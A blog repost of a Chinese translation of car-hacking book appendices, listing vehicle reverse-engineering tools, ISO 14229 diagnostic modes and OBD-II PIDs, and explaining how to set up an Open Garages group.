AVRDUDESS GUI

AVRDUDESS (blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/) 是一个为 AVRDude 设计的 GUI 前端,使用.NET 编写,尽管在 Linux 上使用 Mono 也能很好地运行。在 “使用 AVRDUDESS 准备你的测试” 中,你会看到 AVRDUDESS 的实际应用,位于第 139 页。

RomRaider ECU 调试器

RomRaider (www.romraider.com/) 是一款开源调校套件,用于 Subaru 引擎控制单元,允许您查看、记录数据并调校 ECU(见 图 A-6)。它是为数不多的开源 ECU 调校工具之一,能够处理 3D 视图和实时数据记录。您需要一根 Tactrix Open Port 2.0 电缆和 Tactrix EcuFlash 软件来下载并使用 ECU 的固件。一旦使用 EcuFlash 下载了固件,您可以通过 RomRaider 编辑它。该编辑器是用 Java 编写的,目前支持 Windows 和 Linux,尽管 EcuFlash 不支持 Linux。

image

图 A-6:RomRaider 调校编辑器

Komodo CAN 总线嗅探器

Komodo 是一款高端嗅探器,具有良好的多操作系统—Python SDK。根据您需要的单通道或双通道 CAN 接口,价格大约为 $350 到 $450。Komodo 具有隔离功能,可以防止您的计算机在接线错误时被烧毁,还配备了八个通用输入输出引脚,您可以将它们配置为触发外部设备的操作。Komodo 附带了一些不错的软件,让您可以快速上手,但真正的优势是您可以编写自己的 Komodo 软件。

Vehicle Spy

Vehicle Spy 是 Intrepid Control Systems 的一款商业工具(store.intrepidcs.com/),专门用于反向工程 CAN 和其他车辆通信协议。该软件要求每个 NeoVI 或 ValueCAN 设备都需要一张许可,这两个设备都是 Vehicle Spy 的专有设备。ValueCAN3 是与 Vehicle Spy 配合使用的最便宜的设备,具有一个 CAN 接口,价格大约为 $300。添加 Vehicle Spy Basic 软件后,您的总费用将约为 $1,300。

NeoIV 设备属于高端设备,具有多个可配置通道,起价大约为 $1,200。基础包包含一个 NeoIV(红色)和 Vehicle Spy Basic,售价为 $2,000,能够节省一些费用。Vehicle Spy Professional 的价格大约为 $2,600,不包括硬件。(您可以在 Intrepid 网站上找到多个选项。)

所有 Intrepid 硬件设备都支持上传脚本并实时在总线上运行。Vehicle Spy Basic 支持 CAN/LIN RX/TX 操作。只有当您将汽车黑客攻关作为全职项目,或希望使用 ECU 刷写或其他高级功能(如节点仿真、嗅探器上的脚本编写或内存校准)时,才需要专业版。

第十五章:B

诊断代码模式和 PID

image

在第四章中,我们查看了诊断代码中的模式和参数 ID。本附录列出了更多常见的模式和有趣的 PID,供参考。

0x10 以上的模式

0x10 以上的模式为专有代码。以下是 ISO 14229 标准指定的一些常见模式:

0x10 启动诊断

0x11 重置 ECU

0x14 清除诊断代码

0x22 通过 ID 读取数据

0x23 通过地址读取内存

0x27 安全访问

0x2e 通过 ID 写入数据

0x34 请求下载

0x35 请求上传

0x36 转移数据

0x37 请求转移退出

0x3d 通过地址写入内存

0x3e 测试仪存在

有用的 PID

以下是模式 0x01 和 0x02 的一些有趣 PID:

0x00 支持的 PID(0x01–0x20)

0x01 监控 MIL 状态

0x05 发动机冷却液温度

0x0C 转速

0x0D 车辆速度

0x1C 本车辆符合的 OBD 标准

0x1F 自车辆启动以来的运行时间

0x20 支持的附加 PID(0x21–0x40)

0x31 自 DTC 清除以来行驶的距离

0x40 支持的附加 PID(0x41–0x60)

0x4D MIL 打开时的运行时间

0x60 支持的附加 PID(0x61–0x80)

0x80 支持的附加 PID(0x81–0xA0)

0xA0 支持的附加 PID(0xA1–0xC0)

0xC0 支持的附加 PID(0xC1–0xE0)

模式 0x09 的车辆信息服务号包括:

0x00 支持的 PID(0x01–0x20)

0x02 VIN

0x04 校准 ID

0x06 校准验证号码(CVN)

0x20 ECU 名称

欲查询更多服务 PID 列表,请参见 en.wikipedia.org/wiki/OBD-II_PIDs

第十六章:C

创建你自己的开放车库

image

开放车库是由志同道合的个人组成的合作组织,旨在通过性能调优、艺术改装或安全研究等方式进行汽车系统的黑客攻击。美国和英国都有开放车库小组,任何人都可以创建或加入一个小组。当然,你也可以在自己的车库中进行黑客攻击,但和朋友一起进行多个项目的黑客攻击要更加有趣和富有成效。要了解更多信息,请访问www.opengarages.org/,查看你所在地区的小组详情,加入邮件列表接收最新公告,并在 Twitter 上关注开放车库 @OpenGarages。

填写角色表

如果你所在的地区没有开放车库小组,你可以创建一个!我将带你一步步了解如何创建自己的小组,随后你可以将开放车库角色表提交到 og@openGarages.org

image

角色表有几个不同的部分。左上方的方框是你应该用来勾画你车库想法的地方。你可以画任何你想要的内容:车库布局、笔记、标志等等。你可以现在就为你的空间想个名字,或者等到有更多成员时再决定。如果你计划在现有的黑客空间举办会议,可能想直接使用那个空间的名字或它的某种变体。

何时开会

选择一个固定的日期开会。大多数小组每月开会一次,但你可以根据需要安排更多的会议。会议的时间安排可能取决于你所拥有的空间类型,以及你是否与他人共享这个空间。

勾选“公共开放日”旁的复选框,选择你希望对公众开放的日期。在复选框下方,填写你的开放和关闭时间。如果你希望你的活动不是每周举办,可以选择每月的某一周进行。举例来说,如果你希望每月的第一个星期六从 6 点到 9 点举行会议,你的表格应该像图 C-1 那样。

image

图 C-1:每月第一个星期六安排会议

隶属关系和私人会员资格

如果你正在与其他小组或黑客空间合作,请在“空间隶属”一栏中注明。然后决定是否希望提供私人会员资格。你的开放车库小组必须至少在每月的某一天对公众开放,但你可以提供私人会员资格,附加一些特权,例如延长开放时间或使用特殊设备。私人会员费用可以帮助支付空间租赁、工具、保险以及其他各种费用。

如果你隶属于一个黑客空间,可以在此部分填写他们的会员费用信息。有时,找到一个本地的黑客空间并在其地点举办 Open Garages 会议会更为方便。如果你选择这样做,请确保遵守该黑客空间的所有规则和要求,并尽量通过你的公告宣传他们的空间。务必列出会员费用和支付频率,通常是按月或按年支付。

定义你的会议空间

在表格左上角的车库示意图下方,有一些关于你的空间的基本问题。你不需要立即获得车间的使用权限才能启动 Open Garages 小组,但你应该有一个讨论项目和合作的地方,无论是家庭车库、黑客空间、机械师店,甚至是咖啡店。

以下是如何回答角色表上的问题:

车位 如果有车位,请注明可用的车位数量。如果你在一个两车车库中举办会议,你可以在这里填写2。如果你在咖啡店或类似的场所举行会议,填写0

会议空间容纳量 尝试确定你的空间可以容纳多少人。如果你在咖啡店举办会议,请注明你认为可以容纳多少人。如果你的空间有办公室区域,计算出它可以容纳多少人。如果你的空间是车库或停车场,可以写不适用。你也可以在这里注明是否无障碍通道。

洗手间 在 Open Garages 会议期间提供饮料是个好主意,因此你需要有洗手间的访问权限。你可以在这里填写或类似棚子后面的信息。

网络速度 如果你的空间是有 Wi-Fi 的咖啡店,你可以直接写Wi-Fi,如果你知道自己的网络速度,注明一下也很有用。如果你在一个没有互联网连接的车库或其他地方,可以写热点不适用

停车 请在此处注明成员可以停车的位置以及该区域是否有特别的停车规则。你还应注明这些规则是否会因时间或是否为私人会员而有所不同。

联系信息

在空间描述右侧的框中,你应该填写所有的联系信息,供有意合作和组织的人使用。大多数信息应该是不言而喻的。仅当你采取私人会员制或需要 RSVP 时,才需要填写“报名网站”部分;否则,可以留空或填写不适用。网站部分应列出你小组的主网站。如果你没有网站,可以使用www.opengarages.org/。如果你有 IRC 聊天室或 Twitter 账户,可以在这里列出。其他信息可以在“其他”栏目下填写。

标有“车辆专业”字样的黑色框是您可以添加有关您团队特定车辆焦点的信息的地方,例如 BMW摩托车。您也可以利用这个空间限制在该空间内进行的研究类型,例如,如果您只对研究性能调校感兴趣。

初始管理人员

要启动一个开放车库小组,您需要一些人来承担领导责任,确保一切尽可能顺利开始。这个名单上的第一个人应该当然是您!如果您能立刻找几位朋友来帮忙,那就更好了。如果没有,您可以自己运营小组,直到有更多成员加入。

管理人员的主要责任是确保空间按时开放,并在结束时安全关闭。如果您计划启动一个完整的非营利组织,这个名单可能包括您的董事会成员。

这是您需要提供的管理人员信息:

姓名/昵称 您的名字或昵称。无论您选择列出哪一项,都应与您的联系信息匹配。例如,如果您在昵称旁边列出了电话号码,您应该准备好以该方式接听电话。

联系信息 您是负责人,人们需要与您联系,因此请列出您的电子邮件地址或电话号码。如果您将表格发送到 www.opengarages.org/,这些信息不会被公开或出现在任何网站上。联系信息仅供您在您空间内使用。

角色 您可以列出任何您喜欢的角色,无论是所有者、会计、机械师、黑客、焚烧者等。

专长 如果您有专长,例如您是奥迪机械师或反向工程师,可以在此列出。

设备

这是您应该列出任何可用设备或计划在空间中提供的设备的地方。请参见附录 A,以获取关于对您开放车库小组有帮助的硬件和软件的建议。列出的工具包括 3D 打印机、MIG 焊机、升降机、滚轮、扫描工具等。无需列出小物品,如螺丝刀和接头。

如果某些工具价格昂贵或需要培训才能使用,您可以在会员等级栏中标明用户必须是付费会员才能使用这些工具。您也可以使用技能排名栏,说明操作某些工具所需的技能或培训等级。

posted @ 2025-11-28 09:38  绝不原创的飞龙  阅读(29)  评论(0)    收藏  举报